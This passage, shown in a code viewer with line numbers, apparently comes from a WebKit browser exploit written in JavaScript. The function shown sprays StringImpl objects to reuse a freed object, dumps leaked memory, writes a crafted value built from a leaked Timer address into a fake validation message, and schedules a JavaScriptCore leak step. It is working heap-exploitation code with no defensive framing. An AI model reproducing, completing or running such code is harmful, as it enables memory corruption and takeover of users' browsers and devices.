()
| 357 | * and before deleteBubbleTree |
| 358 | */ |
| 359 | function confuseTargetObjRound1() { |
| 360 | /* Force allocation of StringImpl obj. beyond Timer address */ |
| 361 | sprayStringImpl(SPRAY_STRINGIMPL, SPRAY_STRINGIMPL * 2); |
| 362 | |
| 363 | /* Checking for leaked data */ |
| 364 | if (findTargetObj() === false) |
| 365 | die("[!] Failed to reuse target obj."); |
| 366 | |
| 367 | dumpTargetObj(); |
| 368 | |
| 369 | g_fake_validation_message[4] = g_timer_leak.add(LENGTH_TIMER * 8 + OFFSET_LENGTH_STRINGIMPL + 1 - OFFSET_ELEMENT_REFCOUNT).asDouble(); |
| 370 | |
| 371 | /* |
| 372 | * The timeout must be > 5s because deleteBubbleTree is scheduled to run in |
| 373 | * the next 5s |
| 374 | */ |
| 375 | setTimeout(leakJSC, 6000); |
| 376 | } |
| 377 | |
| 378 | function handle2() { |
| 379 | /* focus elsewhere */ |
nothing calls this directly
no test coverage detected